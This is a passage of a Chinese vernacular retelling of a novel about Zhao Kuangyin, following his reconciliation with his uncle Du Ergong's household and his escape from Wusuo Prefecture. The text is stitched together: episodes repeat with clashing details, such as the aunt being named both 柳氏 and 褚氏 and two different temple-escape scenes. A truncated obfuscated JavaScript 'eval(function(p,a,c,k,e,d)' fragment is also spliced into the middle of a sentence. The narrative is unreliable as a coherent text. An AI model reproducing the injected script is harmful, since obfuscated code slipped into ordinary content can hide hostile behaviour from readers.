老婆婆这才明白过来,拍了拍赵匡胤的手说:“孩子,你放心!你们俩从来没见过面,就算有误会,也没什么大不了的。我去跟她说说,她肯定会原谅你的。” 说完,她就走进内房,看见柳氏正坐在床沿上,低着头抹眼泪,一脸委屈。柳氏见婆婆进来,赶紧站起来。 老婆婆坐下后,说:“媳妇,刚才外甥都跟我说了,昨天他路过桃园,看见桃子新鲜,就吃了几个,你就拿着铁锤打他,这就是你倚老卖老,心眼太小了。不过你们俩没见过面,也不能全怪你。现在话说开了,你们就是一家人了,该有长幼之分,别再闹别扭了。你跟我出去,跟外甥好好聊聊,这才像一家人的样子。” 柳氏一听,立马委屈地说:“婆婆您别听他一面之词!他就是个油嘴滑舌的骗子,昨天明明是他打了我,现在倒说是我打他,这真是天大的冤枉!您要是不信,您看我身上的伤!”说完,她掀起衣襟,又往脸上抹了把唾沫,把厚厚的脂粉全擦掉了——这下可好,脸上青一块、紫一块,跟被人揍过的茄子似的,看着特别吓人。 老婆婆一看,忍不住想笑,但还是忍住了,说:“按理来说,这事确实是外甥不对。但你作为舅母,也有不对的地 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老婆婆在旁边看着,高兴得合不拢嘴,赶紧把赵匡胤扶起来:“好了好了,现在没事了,你们俩都坐下说话。” 赵匡胤坐下后,又着急地说:“姥姥,舅母虽然原谅我了,但我还有个事想求您帮忙——不过这事可能得舅母出面,才能解决。” 老婆婆纳闷地说:“刚才我都跟你说了,你舅母已经不怪你了,还要求什么情?难道你还打了别人不成?” 赵匡胤不好意思地说:“不是打了别人,是我还得罪了二舅。”接着,他就把昨天在王家店门口,怎么遇到杜二公搜刮百姓,怎么跟他动手,又把他打跑的事,一五一十地说了一遍。 老婆婆听完,吓得脸都白了,心里嘀咕:我的天!儿子和媳妇都被他打了,这可怎么收场啊?媳妇的脾气还好,被我劝住了,可我那儿子的脾气跟炮仗似的,一点就炸,我可劝不动他。看来这事,还得让媳妇去劝他才行——毕竟夫妻之间,说话更管用。 她叹了口气,对赵匡胤说:“你这孩子,从小就爱惹事,长大了还是这脾气!得罪了你舅母,我还能帮你说情,现在又得罪了你舅舅,我要是再帮你说话,就显得我偏向外孙,不疼儿子媳妇了,这情我可没法说。你自己惹的祸,还是得你自己去赔罪。要是你舅舅也像你舅母这么通情达理,说不定就原谅你了。”说完,她就不说话了,等着柳氏开口。 赵匡胤也没辙,只能低着头不吭声。柳氏看在眼里,心里琢磨着:我这边都不跟他计较了,要是丈夫还揪着这事不放,显得咱们家太小气。而且我看这外甥,长得一表人才,功夫又好,以后肯定有大出息,要是能跟他搞好关系,对咱们家也有好处。再说了,丈夫要是真跟他闹僵了,婆婆心里也会不舒服。 她想清楚后,就开口说:“公子你别担心,婆婆也别着急,这点小事,我来帮你们和解。不过你也知道,你舅舅性子倔,一下子肯定转不过弯来。这样吧,等他回来的时候,你先别跟他见面,婆婆也别出面,我来跟他说,保证能让他消气。” 老婆婆一听,高兴得赶紧说:“还是你懂事!那就麻烦你了,媳妇。” 赵匡胤也赶紧站起来,对着柳氏作揖:“多谢舅母帮忙,外甥以后肯定记着您的好!” 正说着,外面突然传来一阵嘈杂的声音,还能看见火光冲天。小翠慌慌张张地跑进来,喊道:“太太、奶奶、公子,不好了!二爷爷(指杜二公)不知道为什么,带着山寨的好多人在外面,好像要进来了!” 原来杜二公昨天被赵匡胤打跑后,回到山寨就跟大寨主、二寨主说了这事,三人商量着要带三百喽啰下山报仇。可等他们点齐人手,已经是傍晚了,杜二公又饿又气,就想着先回家吃点东西,再去千家店找赵匡胤算账——他还不知道,自己要找的人,已经在自家客厅里了。 柳氏一听杜二公回来了,赶紧对老婆婆和赵匡胤说:“妈,公子,你们赶紧去后房躲一躲,我来应付他。”又对着旁边的丫鬟说:“你们都别点灯,就说我在堂里等他。” 丫鬟们赶紧把灯吹灭,客厅里顿时暗了下来。柳氏独自坐在椅子上,心里盘算着怎么跟杜二公说。 没过一会儿,就听见外面传来脚步声,还有人提着灯笼。杜二公走进来,身后跟着他的跟班小三子,还有几个喽啰。他一进堂屋,就问丫鬟:“我媳妇呢?不是说她回来了吗?” 丫鬟赶紧指着椅子上的柳氏:“回二爷,奶奶在那儿呢。” 杜二公接过小三子手里的灯笼,走到柳氏面前,皱着眉说:“你怎么坐这儿不开灯?这么晚了,怎么不回房休息?出什么事了?”他问了好几句,柳氏都不说话,还故意抽抽搭搭地哭了起来。 杜二公更纳闷了,又问:“媳妇,你是不是受委屈了?是不是有人欺负你了?” 旁边的小三子赶紧帮腔:“二爷,谁敢欺负奶奶啊?我听丫鬟说,是太太生气,打了奶奶几下,所以奶奶才哭的。” 杜二公一听,立马急了:“我妈为什么打你?你是不是惹她生气了?你跟我说,我去跟我妈求情,让她别骂你。” 柳氏这才抬起头,抹着眼泪骂道:“你这杀千刀的!我什么时候惹妈生气了?都是你惹的祸,连累我被妈打,你还有脸问我!” 杜二公被骂得一头雾水:“我惹什么祸了?你跟我说清楚,别在这儿哭哭啼啼的。” 柳氏说:“你昨天在王家店打了一个人,你还记得吗?那人是妈的外甥,是东京来的赵公子!今天人家找到家里来认亲,跟妈一说被你打的事,妈心疼外甥,又抓不到你,就把我打了一顿出气!这祸不是你惹的,难道是我惹的?” 杜二公一听,脑子“嗡”的一声,愣在原地,半天说不出话来——他怎么也没想到,昨天被自己打的红脸大汉,竟然是自己的外甥!他赶紧问:“你说的是真的?那赵公子……长什么样?” 柳氏说:“就是个红脸的大汉,穿的青扎巾、绿扎袖,跟你昨天说的一模一样!你在王家店门口打了他,中午的事,你难道忘了?” 杜二公这才回过神来,气得直搓手,在堂屋里来回走——他想起昨天那个红脸大汉的功夫,心里还挺佩服,没想到竟然是自己的外甥!这要是传出去,自己这个“抹谷大王”的脸,可就丢尽了;可要是不认这个外甥,妈肯定会生气,媳妇这边也说不过去。 就在他左右为难的时候,柳氏又开口了:“你也别在这儿急了。那外甥是个明事理的人,知道是误会后,也挺后悔的。你要是能原谅他,以后咱们就是一家人,他功夫好,说不定还能帮你打理山寨的事;要是你不原谅他,妈肯定不依,咱们家也得闹得鸡犬不宁。你自己想想,哪个划算?” 杜二公停下脚步,看着柳氏,心里慢慢盘算起来:媳妇说的有道理,这外甥既然是个人才,留着肯定有用,而且又是亲戚,要是真闹僵了,也不好看。他叹了口气,对柳氏说:“那……那你去把他叫出来吧,我跟他说说。” 柳氏见他松口了,赶紧对着后房喊:“妈,公子,你们出来吧,没事了。” 老婆婆和赵匡胤从后房走出来,杜二公看着赵匡胤,脸上有点尴尬,半天说不出话来。赵匡胤赶紧走上前,作揖道:“舅舅,外甥昨天不知道是您,多有冒犯,还请您原谅。” 杜二公挠了挠头,不好意思地说:“哎,这事也怪我,不该随便欺负百姓,也没问清楚你的身份。既然是一家人,这事就算了,以后别再提了。” 老婆婆一看两人和解了,高兴得哈哈大笑:“这就对了!一家人就该和和气气的,以后咱们好好过日子!” 就这样,一场因为误会引发的冲突,在柳氏的巧妙调解下,终于化解了。杜二公后来也听了赵匡胤的劝,慢慢改掉了欺负百姓的毛病,还把御果园还给了官府。而赵匡胤在姥姥家住了几天,养好了精神,又踏上了新的路程——谁也没想到,这个曾经闯祸的红脸后生,后来会成为宋朝的开国皇帝,开创一段新的历史。 至于杜二公和柳氏,后来也跟着赵匡胤干了不少正经事,成了他身边的得力帮手。这正是:一句好话解了骨肉仇,一番谋划让恶霸归了正。要知道赵匡胤接下来又会遇到什么事,咱们下回再接着说。 25. 第 25 章 这话得从杜二公说起。他攥着拳头站在院里,脸上还带着块青瘀,听妻子褚氏说完那番话,半天没吭声——心里像被乱麻缠着:“原来在王家店门口打我的那个红脸大汉,居然是我外甥!他打了我,反倒去我娘那儿说瞎话,我娘哪知道这里面的弯弯绕?准是听了他一面之词,疼外孙心切,先把儿媳妇撒了气,要是见了我,指不定多生气呢!” 他重重叹口气,声音里带着委屈:“褚氏我贤妻,你知道我这次下山是为了啥不?”要说起这褚氏,可不是普通妇人——她是本地富户褚太公的独生女,打小就爱舞枪弄棒。褚太公疼女儿,见她力气比一般小伙子还大,也不拦着,任由她练本事。后来杜二公听说了褚氏的名头,亲自上门提亲,褚太公见杜二公长得英武,浑身是英雄气,一口就应了,俩人才成了亲。这俩人一个能打,一个敢拼,倒也算得上旗鼓相当,日子过得有来有往。 这会儿褚氏还绷着脸,故意冷声道:“我哪知道你回来干啥?” 杜二公揉了揉发疼的胳膊,苦着脸说:“我不跟你说,你压根不知道这里面的底细!最近山寨里粮食快见底了,我寻思着去千家店那边‘抹谷’——就是抢点粮饷周转周转。刚到王家店门口,就冒出个红脸大汉,顶着我的名头,把我特意留着的卤狗肉全吃了,还故意找我茬。我哪能忍?当场就跟他打起来了,可谁知道他武功比我高,力气还大,我压根不是对手,反倒被他揍了一顿!你不信?你看我这脸,还有手背的擦伤,跟你之前练拳磕着的模样差不多!” 他越说越憋屈:“我当时气不过,想着回山寨调兵,去把他抓来报仇,哪成想他竟是我外甥!他打了我也就罢了,为啥还跑去我娘那儿说瞎话?真是难缠!对了,我娘在哪儿?我得跟她诉诉冤屈!” 褚氏这才松了点脸色,语气软了些:“婆婆知道外孙被‘打’(其实是赵匡胤打了杜二公,她故意说反了逗杜二公),气得住了房,现在还没缓过来呢。” 杜二公一听,急得直摇头叹气,赶紧从墙角拎起纸糊的灯笼——灯笼被风吹得晃悠悠,映得他脸上的瘀伤更明显了。他快步走到母亲房门口,见房门关得紧紧的,里头静悄悄的,连点脚步声都没有。他赶紧敲门,声音透着慌:“娘!儿子回来了!您开开门,我有话跟您说!” 房里传来老太太的声音,故意带着气:“我知道你回来了,谁要见你?” “娘,您先开门!儿子这次真受了委屈,特意来跟您说清楚!”杜二公急得直跺脚,手指都快敲疼了门板。 老太太在里头哼了一声:“能有啥委屈?无非是你倚老卖老,欺负你外甥!想让我给你说情?没门!” “娘您可别听他瞎掰!”杜二公赶紧把嗓门提高,“您听我把前因后果说一遍,就知道谁对谁错了!”接着,他从下山为啥“抹谷”,到在王家店怎么撞见赵匡胤,怎么被抢了狗肉,怎么动手打架,又怎么被揍——一五一十隔着门板说了个透,连自己被拳头砸在胸口时的闷痛都没落下。 房里静了片刻,突然传来老太太的惊呼声:“哎哟!我原先还以为是你这当舅舅的欺负外甥,听你这么说,竟是外甥先惹的你!怪不得那孩子跑回来时,脸都红了,原来是自己理亏,故意装可怜呢!我儿,你既然受了亏,看在娘的面子上,就饶了他吧。等他下次来,我让他给你磕头赔罪!” 杜二公一听这话,心里的气消了大半,又想起件事:“娘,既然是外甥,我自然不会跟他计较。可他咋走了呢?我想起前些日子,有个叫苗光义的相面先生上山,给我看相时留了两句话——‘甥打舅兮即日见,赵家九五他登殿。招兵买马积粮储,好与君王将功建。’那先生算得可准了,说的‘甥打舅’,今天真应验了!这么看,我这外甥日后准是大富大贵的人,咱们这些外戚也能跟着沾光!他既然来了,您咋不留他住几天,就这么让他走了?” 房里突然传来老太太的笑声,笑得特别响。紧接着,房门“吱呀”一声开了,老太太拉着杜二公的手,眉开眼笑:“我儿,你真想见他?远的不在千里之外,近的就在眼前!你要是想见,我叫他出来就是!”说着,就喊丫鬟:“快去请赵公子来!” 丫鬟跑出去没一会儿,就见一个红脸大汉走进来——正是赵匡胤。他一看见杜二公,赶紧跪下身,声音里满是愧疚:“母舅大人!小甥一时糊涂,行事鲁莽,得罪了长辈,今天特意来请母舅责罚!” 杜二公吓了一跳,赶紧把手里的灯笼递给丫鬟,伸手去扶赵匡胤,语气又急又喜:“贤甥快起来!是我事先不知道是你,才闹得这么僵,今天能见面,真是没想到啊!”接着就叫丫鬟点上更多灯笼,把前堂照得亮堂堂的,拉着母亲和赵匡胤去前堂坐。 这会儿前堂里,褚氏早就等着了,丫鬟们正端着酒菜往桌上摆——卤牛肉、炖鸡、还有一壶烫好的米酒,都是杜二公平时爱吃的。一家四口围着桌子坐下,杜二公先给母亲和赵匡胤各倒了杯酒,又把苗光义说的那几句预言念给赵匡胤听,笑着说:“你看这先生,真是有先见之明!我看贤甥你日后准能成大事,到时候我这当舅舅的,也能跟着沾光!” 赵匡胤赶紧摆手,脸上带着点不好意思:“母舅您别听术士的话,那些都是虚头巴脑的,哪能当真?” “这话不对!”杜二公放下酒杯,语气认真,“那先生说的话合情合理,之前算的几件事都应验了,我可不是瞎信!再说,贤甥你一看就不是普通人,眉眼间带着股大人物的气派,准能成大事!你可得好好爱惜自己,别多心!” 正说着,褚氏突然“噗嗤”一声笑了:“原来我这外甥还有当皇帝的命,那之前挨的一顿打,倒也不算白挨!” 杜二公愣了:“你这话啥意思?” 褚氏笑着解释:“不瞒你说,我之前早就跟外甥交过手了——就在后院桃园里,我还以为他是来山寨捣乱的山贼,跟他打了几招,没打赢呢!”老太太在一旁补充,把桃园里的事儿说了个详细——从褚氏怎么发现赵匡胤,到两人怎么动手,再到褚氏被赵匡胤的棍法逼得后退,说得活灵活现。 杜二公听完,拍着大腿笑:“这么说,我跟你婶子都被贤甥‘教训’过?看来贤甥的本事是真不小!”四个人又接着喝酒,说说笑笑,一直喝到后半夜四更天,才各自歇下。杜二公特意让丫鬟把西厢房的书房收拾干净,让赵匡胤住下。 第二天大清早,太阳刚冒头,杜二公就起来了。吃过早饭,他叫丫鬟去请女儿杜丽容出来见客。这杜丽容是杜二公和褚氏的独女,刚满十四岁,跟她娘褚氏一点都不像——褚氏长得高大,脸上带着股英气,杜丽容却生得娇娇嫩嫩,眉眼清秀,说话轻声细语,举止端庄,一看就是个知书达理的姑娘。她穿着件水绿色的布裙,手里拎着个绣花帕子,走到赵匡胤面前,规规矩矩行了个礼:“表兄安好。” 赵匡胤赶紧起身回礼,心里暗暗惊讶——他实在没法把眼前这温柔的姑娘,跟“母夜叉”似的褚氏联系到一起。杜丽容见过礼,又给老太太和杜二公行了礼,就轻声说:“爹娘,表兄,女儿先回房绣花了。”说完就提着裙角,慢慢退了出去,连脚步声都轻得很。 又住了一天,赵匡胤就打算告辞了。杜二公哪肯放他走,拉着他的手说:“贤甥,咱们是至亲,本该多住几天,你咋这么见外,急着要走?” 赵匡胤叹了口气,语气里带着无奈:“母舅,我不是见外,是实在不敢在这儿闲待着——我离家在外,本就是为了避祸,要是在这儿耽误久了,怕误了正事。我还想着去禅州访友,要是能碰巧遇到苗光义先生,也好跟他聊聊,问问日后的路该怎么走。我还有两个好朋友也在禅州,正好去看看他们。” 老太太在一旁听着,眼圈都红了:“我儿,你千里迢迢来这儿,多不容易啊!我见你这么有本事,正高兴呢,咋就要走了?我实在不放心!要不,你过了年再走?也不差这几天!” 赵匡胤握着老太太的手,声音软了些:“姥姥,外孙也想听您的话,可我抛家弃室跑这么远,都是被逼无奈。之前苗先生给我留过一张字条,上面说的几件事都应验了,我实在想找到他,问问我这辈子到底能有啥结果。您就别留我了,行不行?” 老太太见他态度坚决,知道留不住,只好叹口气:“既然你主意定了,我也不拦着。可你要是找到了苗先生和你那朋友,一定得再来看我啊!” “姥姥您放心,只要我有空,肯定来瞧您!”赵匡胤赶紧说,“对了,我的行李和马还在王家店呢,麻烦母舅派个人去取一下吧。” 杜二公见留不住他,只好点头:“行,我这就叫人去。”说着就喊来山寨的二当家周虎——这周虎是杜二公的老兄弟,跟着他在山寨待了五年,为人耿直,就是性子有点倔。杜二公吩咐周虎:“你带两个人去王家店,找王掌柜,把赵公子的行李和马取回来,路上小心点,别惊动旁人。” 周虎皱着眉:“大哥,这赵公子是啥人啊?值得您这么上心?咱们山寨最近粮食紧,不如让他多住几天,帮咱们想想办法……” 杜二公拍了拍他的肩膀:“老周,这是我外甥赵匡胤,不是普通人。他有大志向,咱们不能耽误他。你快去快回,取完东西就回来。”周虎虽有点不乐意,可还是应了声“好”,带着两个手下走了。 这边杜二公又让人备了送行的酒,席间赵匡胤端着酒杯,语气诚恳:“母舅,我有几句话,想跟您说说,您听听就行,要是觉得不对,就当我没说。” 杜二公赶紧说:“贤甥你尽管说,我听着!” “我听说,善良的人走到哪儿都受人尊敬,仗势欺人的人早晚被人嫌弃。”赵匡胤看着杜二公的眼睛,“母舅您在山寨聚义,虽说也是没办法,可‘抹谷’抢粮的事,终究不是正道。您不如改改规矩,保着附近的百姓,帮着除暴安良——这样才配得上‘英雄’两个字。您再招点兵,存点粮,等着机会,要是日后朝廷招安,您就能建功立业,把名字写在史书上,那多光彩啊!我这话可能有点越界,您别生气。” 杜二公听完,眼睛一下子亮了——他拍着桌子站起来,声音都有点激动:“贤甥你这话说得太对了!真是点醒我了!我之前总觉得山寨日子能过就行,没想过这么多。从今天起,我就改邪归正,走正道!你这一去,要是有空,可一定要再来跟我聊聊!” 赵匡胤笑着点头:“母舅放心,我肯定来。” 没一会儿,周虎就把行李和马取回来了——还带回了王家店掌柜王掌柜的话:“赵公子的马是千里驹,得喂好料,我给装了袋黄豆,让您路上带着。”赵匡胤谢过周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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台上锣鼓敲得震天响,演员们演得正热闹——正是单雄信追杀李世民的桥段。那演单雄信的演员,学得有模有样,手里拿着长枪,对着演李世民的演员大喊:“你今天跑不了了!”演李世民的演员假装慌了,往台边退。 赵匡胤看着看着,心里急了——他想起自己之前的处境,觉得李世民跟自己一样,都是有大志的人,要是被单雄信抓住,就完了。他脑子一热,从背上取下马三铁送的神插弓,又抽出一支连珠箭,拉满弓弦,“嗖”的一声射了出去——正好射中演单雄信的演员左胯。那演员“哎哟”一声,从台上摔下来,滚了几圈,就不动了。 台上的人一下子慌了,锣鼓声戛然而止。有人往下一看,大喊:“不好了!台下有个骑马的红脸汉子射死人了!快抓住他!”台下的百姓也乱了,指着赵匡胤喊:“就是他!他手里还拿着弓箭呢!别让他跑了!” 人群里突然冲出个穿着官服的人——正是五索州的团练长解保。这解保是韩通的徒弟,之前在大名府跟赵匡胤交过手,输得挺惨,一直记恨在心。他一眼就认出了赵匡胤,赶紧骑马冲上前,大声喊:“你们别让他跑了!这是杀了御乐的赵匡胤!朝廷正画影图形抓他呢!抓住他有赏!” 解保手下有四个徒弟,还有五百个团练民兵——这些人本来都在台下看戏,一听有赏,一个个摩拳擦掌,拿着刀枪棍棒围了上来,把赵匡胤团团围住。邓丧门是解保的大徒弟,手里拿着把朴刀,喊着:“兄弟们上!抓活的!”江弔客是二徒弟,举着根梢棒,绕到赵匡胤马后,想断他的退路。 赵匡胤一点都不慌——他拔出九耳八环刀,左右招架。刀光闪过,一下子砍倒了两个冲上来的民兵。可架不住人多,他砍倒一个,又冲上来两个,一时半会儿冲不出去。解保在一旁看着,怕赵匡胤跑了,赶紧喊:“邓丧门、江弔客!你们去把四门关上!其他人跟我上!” 邓丧门听了,赶紧带着几个人去东门,江弔客去了南门。赵匡胤趁乱砍倒几个人,拍马往南门冲——到了南门,才发现城门早就关得严严实实。他正想挥刀砍门,突然听见头顶有人喊:“扔砖头!别让他开门!” 是江弔客!他站在城楼上,指挥着士兵往下扔砖头。一块砖头“啪”的一声,正好打在赵匡胤的头顶——赵匡胤疼得一缩脖子,还没缓过劲,又一块砖头飞下来,擦着他的耳朵掉在地上,砸出个小坑。赵匡胤心里一紧:“不好!”赶紧拨转马头,往东门跑。 到了东门,城门也关了。邓丧门站在城楼上,见赵匡胤来了,大声喊:“掀铜瓦!砸他的马!”士兵们一听,赶紧掀着城楼上的铜瓦往下扔。一块铜瓦“当”的一声,打在赵匡胤的赤兔马头上——那马疼得“嘶”的一声叫,猛地掉过头,顺着一条小巷窜了进去,差点把赵匡胤掀下马。 赵匡胤稳住身子,拍着马往北门跑——北门也关着,解保的三徒弟史黄幡正守在那儿。史黄幡见赵匡胤来了,赶紧喊:“放炮石!”一块碗口大的炮石“嗖”的一声飞过来,赵匡胤赶紧往后一躲,炮石砸在地上,溅起一堆尘土。 赵匡胤知道北门也出不去,只好又往西门跑。正跑着,突然看见街北边有座土地庙,庙门口站着个穿道袍的老者。那老者见了赵匡胤,赶紧跪下来,声音有点急:“将军莫慌!小道是这土地庙的住持玄清,当年受过令尊赵老爷的恩惠!庙里有密道,能出城!快跟我来!” 赵匡胤愣了一下——他没想到在这儿能遇到认识父亲的人。此时后面的喊杀声越来越近,他也顾不上多问,赶紧拍马到庙门口,翻身下马。玄清道长站起来,领着他往庙里走:“将军快跟我来,再晚就来不及了!” 到底赵匡胤能不能顺利出城?这玄清道长又是什么来头?咱们下回再接着说。 26. 第 26 章 话说赵匡胤在五索州城里,被解保带着一群民兵团团围住捉拿。他拼尽全力杀出重围,本想直接砍开城门逃出去,可抬头一看,东西北三个城门都守得严严实实——城楼上堆着砖石炮石,士兵们握着长枪排成密不透风的阵仗,显然是早有准备。他试着往东门冲了两步,刚靠近就有几块砖石“呼呼”砸下来,擦着肩膀掠过,惊得□□赤兔马往后跳了好几步,肩膀也被碎石蹭得生疼。没法子,他只能勒转马头,往还没试过的西门跑,心里又急又悔:“早知道苗光义说的‘三砖两瓦炮石之灾’是真的,我就不该逞能闯进城来!” 正往西门赶,眼角瞥见北边路边立着一座庙宇,朱漆大门半开着,从里面慢慢走出来个老头——头发胡子全白了,脸上满是皱纹,手里拄着根磨得发亮的藜杖,脚步却出奇地稳当。这老头走到赵匡胤跟前,“扑通”一声就跪了下来,声音带着几分恭敬:“小神是本地的土地神,特意来接驾。” 赵匡胤心里“咯噔”一下,瞬间警铃大作:“我正被人追杀,怎么突然冒出来个土地神?别是解保设的圈套,故意让他来骗我下马,好趁机擒住我吧?”他盯着老头看了半天,故意板起脸装出生气的样子,想试探试探:“你既然是土地神,早干嘛去了?我都快被人砍了才出来,不如先把你的头砍了,省得你再误事!” 这话本是随口的戏言,可他是真命天子,言行自有神灵护佑。刚说完,空中就掠过一道看不见的风,“咔嚓”一声,那老头的头“咕咚”掉在地上,滚出去老远。赵匡胤吓了一跳,赶紧翻身下马,蹲下来仔细一看——这哪是真人?分明是尊泥塑的土地像,身上还沾着庙里的香灰,连藜杖都是陶土做的。他这才信了真有神灵护着自己,心里又惊又奇,暗道:“难不成我赵匡胤日后真能当皇帝?”直到现在,五索州还留着这座有过“土地断头”奇事的庙,成了当地的古迹。 这时城里的百姓早就吓得关紧了门窗——谁都知道民兵在抓“杀御乐官的钦犯”,这种事没人敢掺和,路上连个行人都没有,任由兵马来回追跑。赵匡胤抬头看了看那庙的门匾,上面刻着三个鎏金大字“城隍庙”,刚想转身继续往西门走,就见庙里又走出来个人。这人穿着圆领官服,戴着襆头,脚踩乌靴,手里还拿着个象牙象筒,走到他跟前躬身就拜:“小神是本州的城隍,特来接驾。” 赵匡胤这下更懵了:刚走了土地神,又来个城隍神,难不成我真有帝王命?他清了清嗓子,摆出点架子:“城隍,我误闯这五索州,被人围追堵截,你却来得这么晚,先贬你去云南待着!我要是出不了这城,回头再找你算总账!” 真命天子的话就是金口玉言,城隍哪敢违抗?赶紧磕头谢恩,起身就往天上飘,心里却急得跟火烧似的:“我虽被贬去云南,可真主要是在这儿出了差错,我这神位保不住不说,连性命都得丢!必须赶紧找个能救驾的人,不然我这趟云南哪能安心去?”正是应了那句老话:别看阴阳两隔界限分明,该赏该罚自有天意做主。 咱先不说城隍在天上找人救驾,单说赵匡胤“斩”了土地像、贬了城隍后,刚要翻身上马,就听见身后传来震天的喊杀声,尘土扬得半天高——是解保带着团练兵,还有他四个徒弟,手里拿着挠钩、套索、棍棒、刀枪,一窝蜂往西边追来了。 这群人追到城隍庙前,又把赵匡胤围了个水泄不通,举着兵器就往他身上砍戳。赵匡胤握着钢刀左挡右架,想往外冲,可后背突然伸过来好几把挠钩,“刺啦”一声勾住了他的袍服,硬生生扯下来好几缕布片。他手里的刀再快,也架不住对方人多,眼看挠钩又要勾到铠甲,心里慌得不行:“再这么下去,我迟早要被他们擒住,可不能栽在这儿!” 再说那城隍往南边飞,一路上急着找救驾的人,却连个合适的都没见着,心里更急了。正发愁呢,看见下面有座酒楼,忽然想起个人——这人是上界金甲神转世,名叫史魁,生得五大三粗,力气大得能搬起磨盘,现在就在这酒楼上当跑堂的。城隍心里一喜:“这人去救驾,准能成!” 他立刻降下神光,飘进酒楼里。这会儿酒楼里没客人,史魁正趴在柜台上打盹,脑袋一点一点的,嘴里还嘟囔着梦话。酒楼老板王老三端着个空酒壶过来,见他这样,伸手推了推他:“史魁!别睡了,就算没客人,也得把桌子擦干净,不然一会儿客人来了看了膈应。” 史魁迷迷糊糊醒过来,揉了揉眼睛:“王老板,这大冷天的,哪有人来喝酒?让我再睡会儿。”刚把头搁回柜台上,就听见有人在耳边喊他名字:“史魁听着!现在有真命天子在城隍庙前遇险,你赶紧去救驾,日后保你能封侯爵!记住,看见骑赤红色马、面色赤红的人,那就是真主,别怠慢了!” 史魁猛地坐起来,拍了拍脑袋:“这梦做得也太真了,真命天子怎么会跑到五索州来?还让我去救驾,封什么侯爵,净瞎扯!”王老三见他一惊一乍的,纳闷道:“你咋了?做噩梦了?”史魁摇摇头:“没咋,别管我。”说着又趴下去想睡,可刚闭上眼,那声音又在耳边响起来,一模一样的话,连说三遍。 这次史魁彻底醒了,心里犯嘀咕:“一连三次做同一个梦,说不定真有事儿?宁可信其有,不可信其无,反正现在没事,去城隍庙看看也不亏。”他站起身就往楼下走,王老三赶紧拉住他:“你去哪?可别去凑解保的热闹!他正抓钦犯呢,你要是被当成同伙抓了,我可救不了你!” 史魁甩开他的手:“放心,我就去看看,不惹事。”刚走出酒楼,又想起自己没兵器——赤手空拳去救人,跟送命没区别。他一边走一边瞅,忽然看见路边插着根酒楼的幌竿,碗口那么粗,一丈多长,木头结实得很。他走过去,双手一使劲,“咔嚓”就把幌竿扳倒了,扛在肩上就往城隍庙跑,心里还琢磨:“这玩意儿打人肯定疼,正好用得上!” 跑到城隍庙前,老远就看见一群人围着个穿铠甲的汉子,□□那匹赤兔马红得发亮——可不就是梦里说的“赤面红驹”?史魁大喝一声:“都给我住手!”扛着幌竿就冲了进去。 解保正指挥徒弟用挠钩勾赵匡胤的铠甲,听见喊声回头一看,见是个壮汉扛着大竿子冲过来,刚要喊人拦着,史魁的幌竿已经到了跟前。“嘭”的一声闷响,幌竿正打在他脑袋上,半个脑盖瞬间被打飞,鲜血溅了旁边两个兵卒一身。 那四个徒弟和团练兵吓得脸都白了,史魁又挥着幌竿扫过去,一下子打倒了三四个。剩下的人一看头领死了,哪还有心思打斗?“哄”的一声就往四处跑,嘴里喊着:“不好了!解头领被杀了!快跑啊!” 赵匡胤正想追,听见有人喊他“赵公子”,回头一看,认出是之前在枯井铺见过的史魁,心里瞬间松了口气,握着刀的手也慢慢放了下来。他翻身下马,快步走过去,一把握住史魁的手:“史兄!真是太谢谢你了!若不是你及时赶来,我今天恐怕真要栽在这五索州了。” 史魁也挺高兴,把幌竿往旁边一扔:“赵公子,我也是听了梦里的话来的,没想到真能帮上你。”赵匡胤拉着他往路边走,免得再有人过来,又问:“史兄怎么会在这儿?自从枯井铺分开后,你一直过得还好吗?” 史魁叹了口气:“跟你分开后,我带着老母四处找落脚的地方,可哪都不好混。后来到了这五索州,在王老三的酒楼当跑堂,挣点碎银子养着老母,日子虽然清苦,倒也安稳。我本来不知道你来了,今天没事打盹,梦见城隍让我来救驾,没想到真能遇见你,也算是缘分。” 赵匡胤听他说要照顾老母,心里更敬重他了——又孝又义,这才是真英雄。他想了想,说:“史兄现在这样漂泊也不是办法,不如跟我去禅州?咱们找些正经事做,既能安身立命,也能让老母过上好日子,不比在酒楼跑堂强?” 史魁摇摇头,眼神里满是无奈:“我也想跟你去,可老母年纪大了,身体不好,离不开人。我要是走了,她一个人怎么过?等以后老母身子好些,或者有别的机会,我一定去找你,到时候任凭二哥差遣!” 赵匡胤见他心意已决,也不再劝。他从怀里掏出两封银子——这是之前杜二公送他的,还没怎么用,递到史魁手里:“史兄,这点银子你拿着,给老母买点过冬的棉衣和吃的,也算我的一点心意。日后要是有难处,记得想办法找我。” 史魁推辞了半天,见赵匡胤执意要给,才接过来,“扑通”一声跪下磕了个头:“多谢赵公子!这份恩情我记在心里,日后若是有用得着我的地方,赴汤蹈火,在所不辞!” 两人边走边说,不知不觉就到了西门口。门口的守兵早就听说解保被杀了,吓得都跑了,城门敞着。到了城外一个高坡上,史魁停下脚步:“赵公子,我就送你到这儿吧,老母还在酒楼等着我回去,我得赶紧回去报平安。” 赵匡胤点点头,拍了拍他的肩膀:“史兄路上小心,照顾好老母,咱们后会有期。”史魁拱了拱手,转身往城里走,赵匡胤望着他的背影,心里暗暗想着:“这样的侠义之士,日后必定有大作为,希望咱们能早日再相见。” 目送史魁走远,赵匡胤才翻身上马,提着刀往西边走。一路上他忍不住感叹:“苗光义真是厉害,说我在五索州有‘三砖两瓦炮石之灾’,今天果然应验了,连一丝差错都没有。等我到了禅州,一定要想办法找到他,问问日后该怎么走。” 走着走着,天渐渐黑了,又到了隆冬时节,寒风跟刀子似的刮在脸上,透过铠甲缝往骨子里钻。赵匡胤冻得打了个哆嗦,赶紧跳下马,打开行李,拿出之前王员外送的棉衣——这棉衣是新做的,里子填的都是上等棉花,摸起来软乎乎的。他把棉衣穿在铠甲里面,瞬间觉得暖和多了。 又想起中午打斗了半天,嘴里又干又渴,他从行李里掏出两个用油纸包着的雪桃——这是之前路过一个山村时,村民送他的,说是在雪地里长的,又甜又解渴。他拿出一个,咬了一大口,清甜的汁水顺着喉咙往下流,解渴又解乏。吃完把剩下的一个包好,放回行李里,又把包裹拴在马背上,翻身上马继续走。 这地方是条山僻小路,名叫寂寞坡,周围全是高大的树木,枝桠光秃秃的,看着格外冷清。路上连个人影都没有,更别说宿店了。赵匡胤心里有点发慌:“这荒山野岭的,要是找不到地方住,晚上非冻僵不可,还得防着野兽。” 